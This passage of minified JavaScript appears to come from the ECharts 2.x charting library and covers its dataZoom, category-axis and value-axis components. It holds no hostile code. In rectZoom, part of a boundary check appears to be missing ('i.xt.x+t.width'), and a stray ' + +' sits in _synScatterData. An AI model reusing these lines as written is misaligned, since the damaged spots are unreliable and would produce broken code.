e,t,i,n,a=this.component.grid;return"horizontal"==this.zoomOption.orient?(i=this.zoomOption.width||a.getWidth(),n=this.zoomOption.height||this._fillerSize,e=null!=this.zoomOption.x?this.zoomOption.x:a.getX(),t=null!=this.zoomOption.y?this.zoomOption.y:this.zr.getHeight()-n-2):(i=this.zoomOption.width||this._fillerSize,n=this.zoomOption.height||a.getHeight(),e=null!=this.zoomOption.x?this.zoomOption.x:2,t=null!=this.zoomOption.y?this.zoomOption.y:a.getY()),{x:e,y:t,width:i,height:n}},_getZoom:function(){var e=this.option.series,t=this.option.xAxis;!t||t instanceof Array||(t=[t],this.option.xAxis=t);var i=this.option.yAxis;!i||i instanceof Array||(i=[i],this.option.yAxis=i);var n,a,o=[],s=this.zoomOption.xAxisIndex;if(t&&null==s){n=[];for(var l=0,h=t.length;h>l;l++)("category"==t[l].type||null==t[l].type)&&n.push(l)}else n=s instanceof Array?s:null!=s?[s]:[];if(s=this.zoomOption.yAxisIndex,i&&null==s){a=[];for(var l=0,h=i.length;h>l;l++)"category"==i[l].type&&a.push(l)}else a=s instanceof Array?s:null!=s?[s]:[];for(var m,l=0,h=e.length;h>l;l++)if(m=e[l],m.type==r.CHART_TYPE_LINE||m.type==r.CHART_TYPE_BAR||m.type==r.CHART_TYPE_SCATTER||m.type==r.CHART_TYPE_K){for(var V=0,U=n.length;U>V;V++)if(n[V]==(m.xAxisIndex||0)){o.push(l);break}for(var V=0,U=a.length;U>V;V++)if(a[V]==(m.yAxisIndex||0)){o.push(l);break}null==this.zoomOption.xAxisIndex&&null==this.zoomOption.yAxisIndex&&m.data&&this.getDataFromOption(m.data[0])instanceof Array&&(m.type==r.CHART_TYPE_SCATTER||m.type==r.CHART_TYPE_LINE||m.type==r.CHART_TYPE_BAR)&&o.push(l)}var d=null!=this._zoom.start?this._zoom.start:null!=this.zoomOption.start?this.zoomOption.start:0,p=null!=this._zoom.end?this._zoom.end:null!=this.zoomOption.end?this.zoomOption.end:100;d>p&&(d+=p,p=d-p,d-=p);var c=Math.round((p-d)/100*("horizontal"==this.zoomOption.orient?this._location.width:this._location.height));return{start:d,end:p,start2:0,end2:100,size:c,xAxisIndex:n,yAxisIndex:a,seriesIndex:o,scatterMap:this._zoom.scatterMap||{}}},_backupData:function(){this._originalData={xAxis:{},yAxis:{},series:{}};for(var e=this.option.xAxis,t=this._zoom.xAxisIndex,i=0,n=t.length;n>i;i++)this._originalData.xAxis[t[i]]=e[t[i]].data;for(var a=this.option.yAxis,o=this._zoom.yAxisIndex,i=0,n=o.length;n>i;i++)this._originalData.yAxis[o[i]]=a[o[i]].data;for(var s,l=this.option.series,h=this._zoom.seriesIndex,i=0,n=h.length;n>i;i++)s=l[h[i]],this._originalData.series[h[i]]=s.data,s.data&&this.getDataFromOption(s.data[0])instanceof Array&&(s.type==r.CHART_TYPE_SCATTER||s.type==r.CHART_TYPE_LINE||s.type==r.CHART_TYPE_BAR)&&(this._backupScale(),this._calculScatterMap(h[i]))},_calculScatterMap:function(t){this._zoom.scatterMap=this._zoom.scatterMap||{},this._zoom.scatterMap[t]=this._zoom.scatterMap[t]||{};var i=e("../component"),n=i.get("axis"),a=l.clone(this.option.xAxis);"category"==a[0].type&&(a[0].type="value"),a[1]&&"category"==a[1].type&&(a[1].type="value");var o=new n(this.ecTheme,null,!1,{xAxis:a,series:this.option.series},this,"xAxis"),r=this.option.series[t].xAxisIndex||0;this._zoom.scatterMap[t].x=o.getAxis(r).getExtremum(),o.dispose(),a=l.clone(this.option.yAxis),"category"==a[0].type&&(a[0].type="value"),a[1]&&"category"==a[1].type&&(a[1].type="value"),o=new n(this.ecTheme,null,!1,{yAxis:a,series:this.option.series},this,"yAxis"),r=this.option.series[t].yAxisIndex||0,this._zoom.scatterMap[t].y=o.getAxis(r).getExtremum(),o.dispose()},_buildBackground:function(){var e=this._location.width,t=this._location.height;this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._location.x,y:this._location.y,width:e,height:t,color:this.zoomOption.backgroundColor}}));for(var i=0,o=this._originalData.xAxis,s=this._zoom.xAxisIndex,l=0,h=s.length;h>l;l++)i=Math.max(i,o[s[l]].length);for(var m=this._originalData.yAxis,V=this._zoom.yAxisIndex,l=0,h=V.length;h>l;l++)i=Math.max(i,m[V[l]].length);for(var U,d=this._zoom.seriesIndex[0],p=this._originalData.series[d],c=Number.MIN_VALUE,u=Number.MAX_VALUE,l=0,h=p.length;h>l;l++)U=this.getDataFromOption(p[l],0),this.option.series[d].type==r.CHART_TYPE_K&&(U=U[1]),isNaN(U)&&(U=0),c=Math.max(c,U),u=Math.min(u,U);var y=c-u,g=[],b=e/(i-(i>1?1:0)),f=t/(i-(i>1?1:0)),k=1;"horizontal"==this.zoomOption.orient&&1>b?k=Math.floor(3*i/e):"vertical"==this.zoomOption.orient&&1>f&&(k=Math.floor(3*i/t));for(var l=0,h=i;h>l;l+=k)U=this.getDataFromOption(p[l],0),this.option.series[d].type==r.CHART_TYPE_K&&(U=U[1]),isNaN(U)&&(U=0),g.push("horizontal"==this.zoomOption.orient?[this._location.x+b*l,this._location.y+t-1-Math.round((U-u)/y*(t-10))]:[this._location.x+1+Math.round((U-u)/y*(e-10)),this._location.y+f*(h-l-1)]);"horizontal"==this.zoomOption.orient?(g.push([this._location.x+e,this._location.y+t]),g.push([this._location.x,this._location.y+t])):(g.push([this._location.x,this._location.y]),g.push([this._location.x,this._location.y+t])),this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:g,color:this.zoomOption.dataBackgroundColor},hoverable:!1}))},_buildFiller:function(){this._fillerShae={zlevel:this.getZlevelBase(),z:this.getZBase(),draggable:!0,ondrift:this._ondrift,ondragend:this._ondragend,_type:"filler"},this._fillerShae.style="horizontal"==this.zoomOption.orient?{x:this._location.x+Math.round(this._zoom.start/100*this._location.width)+this._handleSize,y:this._location.y,width:this._zoom.size-2*this._handleSize,height:this._location.height,color:this.zoomOption.fillerColor,text:":::",textPosition:"inside"}:{x:this._location.x,y:this._location.y+Math.round(this._zoom.start/100*this._location.height)+this._handleSize,width:this._location.width,height:this._zoom.size-2*this._handleSize,color:this.zoomOption.fillerColor,text:"::",textPosition:"inside"},this._fillerShae.highlightStyle={brushType:"fill",color:"rgba(0,0,0,0)"},this._fillerShae=new n(this._fillerShae),this.shapeList.push(this._fillerShae)},_buildHandle:function(){var e=this.zoomOption.showDetail?this._getDetail():{start:"",end:""};this._startShape={zlevel:this.getZlevelBase(),z:this.getZBase(),draggable:!0,style:{iconType:"rectangle",x:this._location.x,y:this._location.y,width:this._handleSize,height:this._handleSize,color:this.zoomOption.handleColor,text:"=",textPosition:"inside"},highlightStyle:{text:e.start,brushType:"fill",textPosition:"left"},ondrift:this._ondrift,ondragend:this._ondragend},"horizontal"==this.zoomOption.orient?(this._startShape.style.height=this._location.height,this._endShape=l.clone(this._startShape),this._startShape.style.x=this._fillerShae.style.x-this._handleSize,this._endShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._endShape.highlightStyle.text=e.end,this._endShape.highlightStyle.textPosition="right"):(this._startShape.style.width=this._location.width,this._endShape=l.clone(this._startShape),this._startShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._startShape.highlightStyle.textPosition="bottom",this._endShape.style.y=this._fillerShae.style.y-this._handleSize,this._endShape.highlightStyle.text=e.end,this._endShape.highlightStyle.textPosition="top"),this._startShape=new o(this._startShape),this._endShape=new o(this._endShape),this.shapeList.push(this._startShape),this.shapeList.push(this._endShape)},_buildFrame:function(){var e=this.subPixelOptimize(this._location.x,1),t=this.subPixelOptimize(this._location.y,1);this._startFrameShape={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:e,y:t,width:this._location.width-(e>this._location.x?1:0),height:this._location.height-(t>this._location.y?1:0),lineWidth:1,brushType:"stroke",strokeColor:this.zoomOption.handleColor}},this._endFrameShape=l.clone(this._startFrameShape),this._startFrameShape=new n(this._startFrameShape),this._endFrameShape=new n(this._endFrameShape),this.shapeList.push(this._startFrameShape),this.shapeList.push(this._endFrameShape)},_syncHandleShape:function(){"horizontal"==this.zoomOption.orient?(this._startShape.style.x=this._fillerShae.style.x-this._handleSize,this._endShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._zoom.start=(this._startShape.style.x-this._location.x)/this._location.width*100,this._zoom.end=(this._endShape.style.x+this._handleSize-this._location.x)/this._location.width*100):(this._startShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._endShape.style.y=this._fillerShae.style.y-this._handleSize,this._zoom.start=(this._location.y+this._location.height-this._startShape.style.y)/this._location.height*100,this._zoom.end=(this._location.y+this._location.height-this._endShape.style.y-this._handleSize)/this._location.height*100),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this._syncFrameShape(),this.zr.refreshNextFrame()},_syncFillerShape:function(){var e,t;"horizontal"==this.zoomOption.orient?(e=this._startShape.style.x,t=this._endShape.style.x,this._fillerShae.style.x=Math.min(e,t)+this._handleSize,this._fillerShae.style.width=Math.abs(e-t)-this._handleSize,this._zoom.start=(Math.min(e,t)-this._location.x)/this._location.width*100,this._zoom.end=(Math.max(e,t)+this._handleSize-this._location.x)/this._location.width*100):(e=this._startShape.style.y,t=this._endShape.style.y,this._fillerShae.style.y=Math.min(e,t)+this._handleSize,this._fillerShae.style.height=Math.abs(e-t)-this._handleSize,this._zoom.start=(this._location.y+this._location.height-Math.max(e,t))/this._location.height*100,this._zoom.end=(this._location.y+this._location.height-Math.min(e,t)-this._handleSize)/this._location.height*100),this.zr.modShape(this._fillerShae.id),this._syncFrameShape(),this.zr.refreshNextFrame()},_syncFrameShape:function(){"horizontal"==this.zoomOption.orient?(this._startFrameShape.style.width=this._fillerShae.style.x-this._location.x,this._endFrameShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._endFrameShape.style.width=this._location.x+this._location.width-this._endFrameShape.style.x):(this._startFrameShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._startFrameShape.style.height=this._location.y+this._location.height-this._startFrameShape.style.y,this._endFrameShape.style.height=this._fillerShae.style.y-this._location.y),this.zr.modShape(this._startFrameShape.id),this.zr.modShape(this._endFrameShape.id)},_syncShape:function(){this.zoomOption.show&&("horizontal"==this.zoomOption.orient?(this._startShape.style.x=this._location.x+this._zoom.start/100*this._location.width,this._endShape.style.x=this._location.x+this._zoom.end/100*this._location.width-this._handleSize,this._fillerShae.style.x=this._startShape.style.x+this._handleSize,this._fillerShae.style.width=this._endShape.style.x-this._startShape.style.x-this._handleSize):(this._startShape.style.y=this._location.y+this._location.height-this._zoom.start/100*this._location.height,this._endShape.style.y=this._location.y+this._location.height-this._zoom.end/100*this._location.height-this._handleSize,this._fillerShae.style.y=this._endShape.style.y+this._handleSize,this._fillerShae.style.height=this._startShape.style.y-this._endShape.style.y-this._handleSize),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.modShape(this._fillerShae.id),this._syncFrameShape(),this.zr.refresh())},_syncData:function(e){var t,i,n,a,o;for(var s in this._originalData){t=this._originalData[s];for(var l in t)o=t[l],null!=o&&(a=o.length,i=Math.floor(this._zoom.start/100*a),n=Math.ceil(this._zoom.end/100*a),this.getDataFromOption(o[0])instanceof Array&&this.option[s][l].type!=r.CHART_TYPE_K?(this._setScale(),this.option[s][l].data=this._synScatterData(l,o)):this.option[s][l].data=o.slice(i,n))}this._isSilence||!this.zoomOption.realtime&&!e||this.messageCenter.dispatch(r.EVENT.DATA_ZOOM,null,{zoom:this._zoom},this.myChart)},_synScatterData:function(e,t){if(0===this._zoom.start&&100==this._zoom.end&&0===this._zoom.start2&&100==this._zoom.end2)return t;var i,n,a,o,r,s=[],l=this._zoom.scatterMap[e]; + +"horizontal"==this.zoomOption.orient?(i=l.x.max-l.x.min,n=this._zoom.start/100*i+l.x.min,a=this._zoom.end/100*i+l.x.min,i=l.y.max-l.y.min,o=this._zoom.start2/100*i+l.y.min,r=this._zoom.end2/100*i+l.y.min):(i=l.x.max-l.x.min,n=this._zoom.start2/100*i+l.x.min,a=this._zoom.end2/100*i+l.x.min,i=l.y.max-l.y.min,o=this._zoom.start/100*i+l.y.min,r=this._zoom.end/100*i+l.y.min);var h;(h=l.x.dataMappingMethods)&&(n=h.coord2Value(n),a=h.coord2Value(a)),(h=l.y.dataMappingMethods)&&(o=h.coord2Value(o),r=h.coord2Value(r));for(var m,V=0,U=t.length;U>V;V++)m=t[V].value||t[V],m[0]>=n&&m[0]<=a&&m[1]>=o&&m[1]<=r&&s.push(t[V]);return s},_setScale:function(){var e=0!==this._zoom.start||100!==this._zoom.end||0!==this._zoom.start2||100!==this._zoom.end2,t={xAxis:this.option.xAxis,yAxis:this.option.yAxis};for(var i in t)for(var n=0,a=t[i].length;a>n;n++)t[i][n].scale=e||t[i][n]._scale},_backupScale:function(){var e={xAxis:this.option.xAxis,yAxis:this.option.yAxis};for(var t in e)for(var i=0,n=e[t].length;n>i;i++)e[t][i]._scale=e[t][i].scale},_getDetail:function(){for(var e=["xAxis","yAxis"],t=0,i=e.length;i>t;t++){var n=this._originalData[e[t]];for(var a in n){var o=n[a];if(null!=o){var r=o.length,l=Math.floor(this._zoom.start/100*r),h=Math.ceil(this._zoom.end/100*r);return h-=h>0?1:0,{start:this.getDataFromOption(o[l]),end:this.getDataFromOption(o[h])}}}}e="horizontal"==this.zoomOption.orient?"xAxis":"yAxis";var m=this._zoom.seriesIndex[0],V=this.option.series[m][e+"Index"]||0,U=this.option[e][V].type,d=this._zoom.scatterMap[m][e.charAt(0)].min,p=this._zoom.scatterMap[m][e.charAt(0)].max,c=p-d;if("value"==U)return{start:d+c*this._zoom.start/100,end:d+c*this._zoom.end/100};if("time"==U){p=d+c*this._zoom.end/100,d+=c*this._zoom.start/100;var u=s.getAutoFormatter(d,p).formatter;return{start:s.format(u,d),end:s.format(u,p)}}return{start:"",end:""}},__ondrift:function(e,t,i){this.zoomOption.zoomLock&&(e=this._fillerShae);var n="filler"==e._type?this._handleSize:0;if("horizontal"==this.zoomOption.orient?e.style.x+t-n<=this._location.x?e.style.x=this._location.x+n:e.style.x+t+e.style.width+n>=this._location.x+this._location.width?e.style.x=this._location.x+this._location.width-e.style.width-n:e.style.x+=t:e.style.y+i-n<=this._location.y?e.style.y=this._location.y+n:e.style.y+i+e.style.height+n>=this._location.y+this._location.height?e.style.y=this._location.y+this._location.height-e.style.height-n:e.style.y+=i,"filler"==e._type?this._syncHandleShape():this._syncFillerShape(),this.zoomOption.realtime&&this._syncData(),this.zoomOption.showDetail){var a=this._getDetail();this._startShape.style.text=this._startShape.highlightStyle.text=a.start,this._endShape.style.text=this._endShape.highlightStyle.text=a.end,this._startShape.style.textPosition=this._startShape.highlightStyle.textPosition,this._endShape.style.textPosition=this._endShape.highlightStyle.textPosition}return!0},__ondragend:function(){this.zoomOption.showDetail&&(this._startShape.style.text=this._endShape.style.text="=",this._startShape.style.textPosition=this._endShape.style.textPosition="inside",this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.refreshNextFrame()),this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(!this.zoomOption.realtime&&this._syncData(),t.dragOut=!0,t.dragIn=!0,this._isSilence||this.zoomOption.realtime||this.messageCenter.dispatch(r.EVENT.DATA_ZOOM,null,{zoom:this._zoom},this.myChart),t.needRefresh=!1,this.isDragend=!1)},ondataZoom:function(e,t){t.needRefresh=!0},absoluteZoom:function(e){this._zoom.start=e.start,this._zoom.end=e.end,this._zoom.start2=e.start2,this._zoom.end2=e.end2,this._syncShape(),this._syncData(!0)},rectZoom:function(e){if(!e)return this._zoom.start=this._zoom.start2=0,this._zoom.end=this._zoom.end2=100,this._syncShape(),this._syncData(!0),this._zoom;var t=this.component.grid.getArea(),i={x:e.x,y:e.y,width:e.width,height:e.height};if(i.width<0&&(i.x+=i.width,i.width=-i.width),i.height<0&&(i.y+=i.height,i.height=-i.height),i.x>t.x+t.width||i.y>t.y+t.height)return!1;i.xt.x+t.width&&(i.width=t.x+t.width-i.x),i.y+i.height>t.y+t.height&&(i.height=t.y+t.height-i.y);var n,a=(i.x-t.x)/t.width,o=1-(i.x+i.width-t.x)/t.width,r=1-(i.y+i.height-t.y)/t.height,s=(i.y-t.y)/t.height;return"horizontal"==this.zoomOption.orient?(n=this._zoom.end-this._zoom.start,this._zoom.start+=n*a,this._zoom.end-=n*o,n=this._zoom.end2-this._zoom.start2,this._zoom.start2+=n*r,this._zoom.end2-=n*s):(n=this._zoom.end-this._zoom.start,this._zoom.start+=n*r,this._zoom.end-=n*s,n=this._zoom.end2-this._zoom.start2,this._zoom.start2+=n*a,this._zoom.end2-=n*o),this._syncShape(),this._syncData(!0),this._zoom},syncBackupData:function(e){for(var t,i,n=this._originalData.series,a=e.series,o=0,r=a.length;r>o;o++){i=a[o].data||a[o].eventList,t=n[o]?Math.floor(this._zoom.start/100*n[o].length):0;for(var s=0,l=i.length;l>s;s++)n[o]&&(n[o][s+t]=i[s])}},syncOption:function(e){this.silence(!0),this.option=e,this.option.dataZoom=this.reformOption(this.option.dataZoom),this.zoomOption=this.option.dataZoom,this.myChart.canvasSupported||(this.zoomOption.realtime=!1),this.clear(),this._location=this._getLocation(),this._zoom=this._getZoom(),this._backupData(),this.option.dataZoom&&this.option.dataZoom.show&&this._buildShape(),this._syncData(),this.silence(!1)},silence:function(e){this._isSilence=e},getRealDataIndex:function(e,t){if(!this._originalData||0===this._zoom.start&&100==this._zoom.end)return t;var i=this._originalData.series;return i[e]?Math.floor(this._zoom.start/100*i[e].length)+t:-1},resize:function(){this.clear(),this._location=this._getLocation(),this._zoom=this._getZoom(),this.option.dataZoom.show&&this._buildShape()}},l.inherits(t,i),e("../component").define("dataZoom",t),t}),i("echarts/component/categoryAxis",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","../config","zrender/tool/util","zrender/tool/area","../component"],function(e){function t(e,t,n,a,o,r){if(a.data.length<1)return void console.error("option.data.length < 1.");i.call(this,e,t,n,a,o),this.grid=this.component.grid;for(var s in r)this[s]=r[s];this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=e("../config");r.categoryAxis={zlevel:0,z:0,show:!0,position:"bottom",name:"",nameLocation:"end",nameTextStyle:{},boundaryGap:!0,axisLine:{show:!0,onZero:!0,lineStyle:{color:"#48b",width:2,type:"solid"}},axisTick:{show:!0,interval:"auto",inside:!1,length:5,lineStyle:{color:"#333",width:1}},axisLabel:{show:!0,interval:"auto",rotate:0,margin:8,textStyle:{color:"#333"}},splitLine:{show:!0,lineStyle:{color:["#ccc"],width:1,type:"solid"}},splitArea:{show:!1,areaStyle:{color:["rgba(250,250,250,0.3)","rgba(200,200,200,0.3)"]}}};var s=e("zrender/tool/util"),l=e("zrender/tool/area");return t.prototype={type:r.COMPONENT_TYPE_AXIS_CATEGORY,_getReformedLabel:function(e){var t=this.getDataFromOption(this.option.data[e]),i=this.option.data[e].formatter||this.option.axisLabel.formatter;return i&&("function"==typeof i?t=i.call(this.myChart,t):"string"==typeof i&&(t=i.replace("{value}",t))),t},_getInterval:function(){var e=this.option.axisLabel.interval;if("auto"==e){var t=this.option.axisLabel.textStyle.fontSize,i=this.option.data,n=this.option.data.length;if(this.isHorizontal())if(n>3){var a,o,r=this.getGap(),h=!1,m=Math.floor(.5/r);for(m=1>m?1:m,e=Math.floor(15/r);!h&&n>e;){e+=m,h=!0,a=Math.floor(r*e);for(var V=Math.floor((n-1)/e)*e;V>=0;V-=e){if(0!==this.option.axisLabel.rotate)o=t;else if(i[V].textStyle)o=l.getTextWidth(this._getReformedLabel(V),this.getFont(s.merge(i[V].textStyle,this.option.axisLabel.textStyle)));else{var U=this._getReformedLabel(V)+"",d=(U.match(/\w/g)||"").length,p=U.length-d;o=d*t*2/3+p*t}if(o>a){h=!1;break}}}}else e=1;else if(n>3){var r=this.getGap();for(e=Math.floor(11/r);t>r*e-6&&n>e;)e++}else e=1}else e="function"==typeof e?1:e-0+1;return e},_buildShape:function(){if(this._interval=this._getInterval(),this.option.show){this.option.splitArea.show&&this._buildSplitArea(),this.option.splitLine.show&&this._buildSplitLine(),this.option.axisLine.show&&this._buildAxisLine(),this.option.axisTick.show&&this._buildAxisTick(),this.option.axisLabel.show&&this._buildAxisLabel();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildAxisTick:function(){var e,t=this.option.data,i=this.option.data.length,n=this.option.axisTick,o=n.length,r=n.lineStyle.color,s=n.lineStyle.width,l="function"==typeof n.interval?n.interval:"auto"==n.interval&&"function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,h=l?1:"auto"==n.interval?this._interval:n.interval-0+1,m=n.onGap,V=m?this.getGap()/2:"undefined"==typeof m&&this.option.boundaryGap?this.getGap()/2:0,U=V>0?-h:0;if(this.isHorizontal())for(var d,p="bottom"==this.option.position?n.inside?this.grid.getYend()-o-1:this.grid.getYend()+1:n.inside?this.grid.getY()+1:this.grid.getY()-o-1,c=U;i>c;c+=h)(!l||l(c,t[c]))&&(d=this.subPixelOptimize(this.getCoordByIndex(c)+(c>=0?V:0),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:d,yStart:p,xEnd:d,yEnd:p+o,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e)));else for(var u,y="left"==this.option.position?n.inside?this.grid.getX()+1:this.grid.getX()-o-1:n.inside?this.grid.getXend()-o-1:this.grid.getXend()+1,c=U;i>c;c+=h)(!l||l(c,t[c]))&&(u=this.subPixelOptimize(this.getCoordByIndex(c)-(c>=0?V:0),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:y,yStart:u,xEnd:y+o,yEnd:u,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e)))},_buildAxisLabel:function(){var e,t,i=this.option.data,a=this.option.data.length,o=this.option.axisLabel,r=o.rotate,l=o.margin,h=o.clickable,m=o.textStyle,V="function"==typeof o.interval?o.interval:!1;if(this.isHorizontal()){var U,d;"bottom"==this.option.position?(U=this.grid.getYend()+l,d="top"):(U=this.grid.getY()-l,d="bottom");for(var p=0;a>p;p+=this._interval)V&&!V(p,i[p])||""===this._getReformedLabel(p)||(t=s.merge(i[p].textStyle||{},m),e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:this.getCoordByIndex(p),y:U,color:t.color,text:this._getReformedLabel(p),textFont:this.getFont(t),textAlign:t.align||"center",textBaseline:t.baseline||d}},r&&(e.style.textAlign=r>0?"bottom"==this.option.position?"right":"left":"bottom"==this.option.position?"left":"right",e.rotation=[r*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(h,e))))}else{var c,u;"left"==this.option.position?(c=this.grid.getX()-l,u="right"):(c=this.grid.getXend()+l,u="left");for(var p=0;a>p;p+=this._interval)V&&!V(p,i[p])||""===this._getReformedLabel(p)||(t=s.merge(i[p].textStyle||{},m),e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:c,y:this.getCoordByIndex(p),color:t.color,text:this._getReformedLabel(p),textFont:this.getFont(t),textAlign:t.align||u,textBaseline:t.baseline||0===p&&""!==this.option.name?"bottom":p==a-1&&""!==this.option.name?"top":"middle"}},r&&(e.rotation=[r*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(h,e))))}},_buildSplitLine:function(){var e,t=this.option.data,i=this.option.data.length,n=this.option.splitLine,o=n.lineStyle.type,r=n.lineStyle.width,s=n.lineStyle.color;s=s instanceof Array?s:[s];var l=s.length,h="function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,m=n.onGap,V=m?this.getGap()/2:"undefined"==typeof m&&this.option.boundaryGap?this.getGap()/2:0;if(i-=m||"undefined"==typeof m&&this.option.boundaryGap?1:0,this.isHorizontal())for(var U,d=this.grid.getY(),p=this.grid.getYend(),c=0;i>c;c+=this._interval)(!h||h(c,t[c]))&&(U=this.subPixelOptimize(this.getCoordByIndex(c)+V,r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:U,yStart:d,xEnd:U,yEnd:p,strokeColor:s[c/this._interval%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e)));else for(var u,y=this.grid.getX(),g=this.grid.getXend(),c=0;i>c;c+=this._interval)(!h||h(c,t[c]))&&(u=this.subPixelOptimize(this.getCoordByIndex(c)-V,r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:y,yStart:u,xEnd:g,yEnd:u,strokeColor:s[c/this._interval%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e)))},_buildSplitArea:function(){var e,t=this.option.data,i=this.option.splitArea,n=i.areaStyle.color;if(n instanceof Array){var a=n.length,r=this.option.data.length,s="function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,l=i.onGap,h=l?this.getGap()/2:"undefined"==typeof l&&this.option.boundaryGap?this.getGap()/2:0;if(this.isHorizontal())for(var m,V=this.grid.getY(),U=this.grid.getHeight(),d=this.grid.getX(),p=0;r>=p;p+=this._interval)s&&!s(p,t[p])&&r>p||(m=r>p?this.getCoordByIndex(p)+h:this.grid.getXend(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:d,y:V,width:m-d,height:U,color:n[p/this._interval%a]}},this.shapeList.push(new o(e)),d=m);else for(var c,u=this.grid.getX(),y=this.grid.getWidth(),g=this.grid.getYend(),p=0;r>=p;p+=this._interval)s&&!s(p,t[p])&&r>p||(c=r>p?this.getCoordByIndex(p)-h:this.grid.getY(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:u,y:c,width:y,height:g-c,color:n[p/this._interval%a]}},this.shapeList.push(new o(e)),g=c)}else e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this.grid.getX(),y:this.grid.getY(),width:this.grid.getWidth(),height:this.grid.getHeight(),color:n}},this.shapeList.push(new o(e))},refresh:function(e){e&&(this.option=this.reformOption(e),this.option.axisLabel.textStyle=this.getTextStyle(this.option.axisLabel.textStyle)),this.clear(),this._buildShape()},getGap:function(){var e=this.option.data.length,t=this.isHorizontal()?this.grid.getWidth():this.grid.getHeight();return this.option.boundaryGap?t/e:t/(e>1?e-1:1)},getCoord:function(e){for(var t=this.option.data,i=t.length,n=this.getGap(),a=this.option.boundaryGap?n/2:0,o=0;i>o;o++){if(this.getDataFromOption(t[o])==e)return a=this.isHorizontal()?this.grid.getX()+a:this.grid.getYend()-a;a+=n}},getCoordByIndex:function(e){if(0>e)return this.isHorizontal()?this.grid.getX():this.grid.getYend();if(e>this.option.data.length-1)return this.isHorizontal()?this.grid.getXend():this.grid.getY();var t=this.getGap(),i=this.option.boundaryGap?t/2:0;return i+=e*t,i=this.isHorizontal()?this.grid.getX()+i:this.grid.getYend()-i},getNameByIndex:function(e){return this.getDataFromOption(this.option.data[e])},getIndexByName:function(e){for(var t=this.option.data,i=t.length,n=0;i>n;n++)if(this.getDataFromOption(t[n])==e)return n;return-1},getValueFromCoord:function(){return""},isMainAxis:function(e){return e%this._interval===0}},s.inherits(t,i),e("../component").define("categoryAxis",t),t}),i("echarts/component/valueAxis",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","../config","../util/date","zrender/tool/util","../util/smartSteps","../util/accMath","../util/smartLogSteps","../component"],function(e){function t(e,t,n,a,o,r,s){if(!s||0===s.length)return void console.err("option.series.length == 0.");i.call(this,e,t,n,a,o),this.series=s,this.grid=this.component.grid;for(var l in r)this[l]=r[l];this.refresh(a,s)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=e("../config");r.valueAxis={zlevel:0,z:0,show:!0,position:"left",name:"",nameLocation:"end",nameTextStyle:{},boundaryGap:[0,0],axisLine:{show:!0,onZero:!0,lineStyle:{color:"#48b",width:2,type:"solid"}},axisTick:{show:!1,inside:!1,length:5,lineStyle:{color:"#333",width:1}},axisLabel:{show:!0,rotate:0,margin:8,textStyle:{color:"#333"}},splitLine:{show:!0,lineStyle:{color:["#ccc"],width:1,type:"solid"}},splitArea:{show:!1,areaStyle:{color:["rgba(250,250,250,0.3)","rgba(200,200,200,0.3)"]}}};var s=e("../util/date"),l=e("zrender/tool/util");return t.prototype={type:r.COMPONENT_TYPE_AXIS_VALUE,_buildShape:function(){if(this._hasData=!1,this._calculateValue(),this._hasData&&this.option.show){this.option.splitArea.show&&this._buildSplitArea(),this.option.splitLine.show&&this._buildSplitLine(),this.option.axisLine.show&&this._buildAxisLine(),this.option.axisTick.show&&this._buildAxisTick(),this.option.axisLabel.show&&this._buildAxisLabel();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildAxisTick:function(){var e,t=this._valueList,i=this._valueList.length,n=this.option.axisTick,o=n.length,r=n.lineStyle.color,s=n.lineStyle.width;if(this.isHorizontal())for(var 